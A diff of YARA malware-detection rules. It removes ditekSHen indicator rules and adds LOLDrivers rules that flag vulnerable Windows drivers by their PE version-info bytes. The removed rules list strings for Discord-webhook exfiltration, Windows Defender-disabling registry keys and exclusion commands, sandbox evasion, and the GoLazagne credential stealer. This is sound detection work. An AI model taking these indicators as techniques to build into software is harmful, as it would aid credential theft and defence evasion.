-		$s1 = "U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA" ascii wide
-		$s2 = "L2Mgc2NodGFza3MgL2" ascii wide
-		$s3 = "QW1zaVNjYW5CdWZmZXI" ascii wide
-		$s4 = "VmlydHVhbFByb3RlY3Q" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0030002e0030002e0031003100310033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003100310020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and 2 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Discordurl : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_6FB5 : FILE
 {
 	meta:
-		description = "Detects executables Discord URL observed in first stage droppers"
-		author = "ditekSHen"
-		id = "d7221bb4-48c5-5d80-ace1-95cf25fb585d"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1323-L1338"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7f600215268147f8e18f2b4eb6b2e9ba6dd44ab5603a140d3e1b2bb16ebb29c4"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "a9926e8c-f504-5926-8be0-e4e9ccf3b971"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3032-L3051"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "6fb5bc9c51f6872de116c7db8a2134461743908efc306373f6de59a0646c4f5d"
+		logic_hash = "108670db45ff60bd5d31187755019cd7530f29da12d36c96be06880c23d5e7f9"
 		score = 40
-		quality = 37
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "https://discord.com/api/webhooks/" ascii wide nocase
-		$s2 = "https://cdn.discordapp.com/attachments/" ascii wide nocase
-		$s3 = "aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va" ascii wide
-		$s4 = "aHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobW" ascii wide
-		$s5 = "/skoohbew/ipa/moc.drocsid//:sptth" ascii wide nocase
-		$s6 = "/stnemhcatta/moc.ppadrocsid.ndc//:sptth" ascii wide nocase
-		$s7 = "av9GaiV2dvkGch9SbvNmLkJ3bjNXak9yL6MHc0RHa" ascii wide
-		$s8 = "WboNWY0RXYv02bj5CcwFGZy92YzlGZu4GZj9yL6MHc0RHa" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		uint16(0)==0x5a4d and any of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Regkeycomb_Disablewindefender : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_3B71 : FILE
 {
 	meta:
-		description = "Detects executables embedding registry key / value combination indicative of disabling Windows Defender features"
-		author = "ditekSHen"
-		id = "74c82d78-bdb3-54af-b04a-20d66ff123d7"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1448-L1470"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5a33052ded0823a8528590bd0da0023024db174f6f6a0766284c3195f5d3d41f"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
+		author = "Florian Roth"
+		id = "da77918c-29d1-57f2-bf66-63f2759dc350"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3054-L3075"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3b7177e9a10c1392633c5f605600bb23c8629379f7f42957972374a05d4dc458"
+		hash = "72b67b6b38f5e5447880447a55fead7f1de51ca37ae4a0c2b2f23a4cb7455f35"
+		hash = "d04c72fd31e7d36b101ad30e119e14f6df9cbc7a761526da9b77f9e0b9888bc4"
+		hash = "87e094214feb56a482cd8ae7ee7c7882b5a8dccce7947fdaa04a660fa19f41e5"
+		logic_hash = "cbd39f2f901a1d5f1929331659fbad14e82a7e69cacc1b0c4ee2f8137e3613aa"
 		score = 40
-		quality = 33
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$r1 = "SOFTWARE\\Policies\\Microsoft\\Windows Defender" ascii wide nocase
-		$k1 = "DisableAntiSpyware" ascii wide
-		$r2 = "SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" ascii wide nocase
-		$k2 = "DisableBehaviorMonitoring" ascii wide
-		$k3 = "DisableOnAccessProtection" ascii wide
-		$k4 = "DisableScanOnRealtimeEnable" ascii wide
-		$r3 = "SOFTWARE\\Microsoft\\Windows Defender\\Real-Time Protection" ascii wide nocase
-		$k5 = "vDisableRealtimeMonitoring" ascii wide
-		$r4 = "SOFTWARE\\Microsoft\\Windows Defender\\Spynet" ascii wide nocase
-		$k6 = "SpyNetReporting" ascii wide
-		$k7 = "SubmitSamplesConsent" ascii wide
-		$r5 = "SOFTWARE\\Microsoft\\Windows Defender\\Features" ascii wide nocase
-		$k8 = "TamperProtection" ascii wide
-		$r6 = "SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths" ascii wide nocase
-		$k9 = "Add-MpPreference -ExclusionPath \"{0}\"" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c0020005800540043004f004d0020005300650072007600690063006500730020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310032002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310032 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310035002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($r*) and 1 of ($k*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Regkeycomb_Iexecutecommandcom : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Almicosoftware_Sfdrvxsys_Speedfan_X_0BD1 : FILE
 {
 	meta:
-		description = "Detects executables embedding command execution via IExecuteCommand COM object"
-		author = "ditekSHen"
-		id = "4bc7e6aa-1771-5c33-bc62-71072dec04cb"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1472-L1486"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "269109f96f3fca5eacc19664b7b0c7f970131db29c47bfe1e9e67e56604bf1c1"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sfdrvx32.sys"
+		author = "Florian Roth"
+		id = "6710f3a1-8cec-57be-a854-f848e693290a"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3078-L3097"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0bd1523a68900b80ed1bccb967643525cca55d4ff4622d0128913690e6bb619e"
+		logic_hash = "c5fa94fee1260b2c8f188c996ed4ce2095ad8c72fcf6a03b6985303209f17a3a"
 		score = 40
-		quality = 43
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$r1 = "Classes\\Folder\\shell\\open\\command" ascii wide nocase
-		$k1 = "DelegateExecute" ascii wide
-		$s1 = "/EXEFilename \"{0}" ascii wide
-		$s2 = "/WindowState \"\"" ascii wide
-		$s3 = "/PriorityClass \"\"32\"\" /CommandLine \"" ascii wide
-		$s4 = "/StartDirectory \"" ascii wide
-		$s5 = "/RunAs" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0053007000650065006400460061006e00200078003300320020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006c006d00690063006f00200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00580032002e00300033002e00310031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00580032002e00300033002e00310031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730066006400720076007800330032002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0053007000650065006400460061006e }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730066006400720076007800330032002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200041006c006d00690063006f00200053006f00660074007700610072006500200032003000300031002d0032003000310033 }
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($r*) and 1 of ($k*)) or ( all of ($s*)))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_WMI_Enumeratevideodevice : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Almicosoftware_Sfdrvxsys_Speedfan_X_1E94 : FILE
 {
 	meta:
-		description = "Detects executables attemping to enumerate video devices using WMI"
-		author = "ditekSHen"
-		id = "6d4ede5e-4ec5-5753-bd50-8e129ac532a4"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1488-L1502"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8ef63d7a569ee1530a23d151ee394969f4b3b6bac28ed571f48e3f97b87d020a"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sfdrvx32.sys"
+		author = "Florian Roth"
+		id = "a869389f-4b07-5f15-8157-f8880a8c4bbf"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3100-L3119"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1e94d4e6d903e98f60c240dc841dcace5f9e8bbb0802e6648a49ab80c23318cb"
+		logic_hash = "86cbd2762bb8bf050343f4e738216a33764997046a9b59bbb6a435afa2859f0e"
 		score = 40
-		quality = 41
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$q1 = "Select * from Win32_CacheMemory" ascii wide nocase
-		$d1 = "{860BB310-5D01-11d0-BD3B-00A0C911CE86}" ascii wide
-		$d2 = "{62BE5D10-60EB-11d0-BD3B-00A0C911CE86}" ascii wide
-		$d3 = "{55272A00-42CB-11CE-8135-00AA004BB851}" ascii wide
-		$d4 = "SYSTEM\\ControlSet001\\Control\\Class\\{4d36e968-e325-11ce-bfc1-08002be10318}\\000" ascii wide nocase
-		$d5 = "HardwareInformation.AdapterString" ascii wide
-		$d6 = "HardwareInformation.qwMemorySize" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0053007000650065006400460061006e00200078003300320020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006c006d00690063006f00200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00580032002e00300031002e00300037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00580032002e00300031002e00300037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730066006400720076007800330032002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0053007000650065006400460061006e }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730066006400720076007800330032002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200041006c006d00690063006f00200053006f00660074007700610072006500200032003000300031002d0032003000310031 }
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($q*) and 1 of ($d*)) or 3 of ($d*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Dcratby : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Hpdevelopmentcompany_Etdsuppsys_Hpetdidriverdll_F744 : FILE
 {
 	meta:
-		description = "Detects executables containing the string DcRatBy"
-		author = "ditekSHen"
-		id = "d8408cc0-0245-59b7-9134-1f4edd811df7"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1504-L1512"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1a0f863fb71c84a9a01c3f07da0fdff9ea06b061f85532ac523d6a5d1e0e1e11"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - etdsupp.sys"
+		author = "Florian Roth"
+		id = "cfc5dca9-7ccc-590e-a79e-07f13cbbb080"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3122-L3141"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f744abb99c97d98e4cd08072a897107829d6d8481aee96c22443f626d00f4145"
+		logic_hash = "9fcdfda30bb8fb16c5112c22b34be1c42f9ce1a32d21a7554ba0aff2a7696aa1"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "DcRatBy" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004500540044006900200053007500700070006f007200740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048005000200044006500760065006c006f0070006d0065006e007400200043006f006d00700061006e0079 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0065007400640073007500700070002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048005000200045005400440069002000440072006900760065007200200044004c004c }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0065007400640073007500700070002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200031003900390031002d00320030003200320020004800650077006c006500740074002d005000610063006b00610072006400200044006500760065006c006f0070006d0065006e007400200043006f006d00700061006e0079002c0020004c002e0050002e }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Anti_Winjail : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Netfiltersys_Windowsrwinddkdriver_DB1D : FILE
 {
 	meta:
-		description = "Detects executables potentially checking for WinJail sandbox window"
-		author = "ditekSHen"
-		id = "f3a3d099-7659-50aa-8dca-3a2b1c18c3b5"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1514-L1522"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ae8080dad4481b6a2e295c29d3ed24e86da83575e1a5aeda8b1317e6caa74707"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - netfilter2.sys"
+		author = "Florian Roth"
+		id = "cca75a99-2482-54a2-8891-2cd23c8836e9"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3144-L3170"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "db1dbb09d437d3e8bed08c88ca43769b4fe8728f68b78ff6f9c8d2557e28d2b1"
+		hash = "5c54a5cd3386ac14725a07962562e9fdcefbb7be0d19803f9d71de24573de1e3"
+		hash = "6703400b490b35bcde6e41ce1640920251855e6d94171170ae7ea22cdd0938c0"
+		hash = "47e35f474f259314c588af35e88561a015801b52db523eb75fc7eccff8b3be4d"
+		hash = "0eace788e09c8d3f793a1fad94d35bcfd233f0777873412cd0c8172865562eec"
+		hash = "639ff79f13e40d47b90ecd709699edd10e740cb41451acb95590a68b6352de2b"
+		hash = "f488500be4eaafba74b644be95d4c0523297770fb9bb78c449f643ab8d4a05d9"
+		hash = "8017e618b5a7aa608cc4bce16e4defd6b4e99138c4ba1bdd6ad78e39f035cf59"
+		logic_hash = "c8ed6d101a45f797156391f2fa31ecdd66a21bff557a53e8af35838c8ab3d469"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "Afx:400000:0" fullword ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e0065007400460069006c007400650072002000530044004b00200057004600500020004400720069007600650072002000280057005000500029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0035002e0039002e00370020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0065007400660069006c0074006500720032002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0065007400660069006c0074006500720032002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020004e0065007400460069006c00740065007200530044004b002e0063006f006d }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Anti_Oldcopypaste : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Realtek_Rtkiosys_Realtekiodriver_4ED2 : FILE
 {
 	meta:
-		description = "Detects executables potentially checking for WinJail sandbox window"
-		author = "ditekSHen"
-		id = "10a70ad3-c37e-5522-ae3f-3f85f89f9394"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1524-L1543"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "084a1613eaf1df4cd54c44e4389b9edc1c44b4b947a8c4416cb7cbdabc186747"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio.sys, rtkio64.sys, rtkiow8x64.sys, rtkiow10x64.sys"
+		author = "Florian Roth"
+		id = "a9729999-5b31-5b09-bdd1-9d47e4227ab5"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3173-L3192"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "4ed2d2c1b00e87b926fb58b4ea43d2db35e5912975f4400aa7bd9f8c239d08b7"
+		logic_hash = "07981841e989bc762fbce94915e29595b1e6db881ed57064c03b126019538fca"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "This file can't run into Virtual Machines" wide
-		$s2 = "This file can't run into Sandboxies" wide
-		$s3 = "This file can't run into RDP Servers" wide
-		$s4 = "Run without emulation" wide
-		$s5 = "Run using valid operating system" wide
-		$v1 = "SbieDll.dll" fullword wide
-		$v2 = "USER" fullword wide
-		$v3 = "SANDBOX" fullword wide
-		$v4 = "VIRUS" fullword wide
-		$v5 = "MALWARE" fullword wide
-		$v6 = "SCHMIDTI" fullword wide
-		$v7 = "CURRENTUSER" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300039002e0030003700300039002e00320030003200300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300039002e0030003700300039002e0032003000320030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003200300020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($s*) or all of ($v*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Go_Golazagne : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Netfiltersys_1265 : FILE
 {
 	meta:
-		description = "Detects Go executables using GoLazagne"
-		author = "ditekSHen"
-		id = "3b54892d-8015-518c-af0b-03ddd65478f6"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1545-L1554"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9618f8a6eb9a5db01b7a58a469309220b1e22afe928006d642e5404380f312f1"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - netfilter2.sys"
+		author = "Florian Roth"
+		id = "fde7c85f-96f3-536f-b0b5-0d12424c16a3"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3195-L3216"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "12656fc113b178fa3e6bfffc6473897766c44120082483eb8059ebff29b5d2df"
+		hash = "7ff8fe4c220cf6416984b70a7e272006a018e5662da3cedc2a88efeb6411b4a4"
+		hash = "1cd75de5f54b799b60789696587b56a4a793cf60775b81f236f0e65189d863af"
+		logic_hash = "894e7a4baa9287019f06e0dc91eccd11e2d3043f60be53efd2240879eb8d2772"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "/goLazagne/" ascii nocase
-		$s2 = "Go build ID:" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570059004a0053005100200057004600500020004400720069007600650072002000280057005000500029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]5b8f56fe65e05fe7 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0035002e0037002e00380020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0065007400660069006c0074006500720032002e007300790073 }
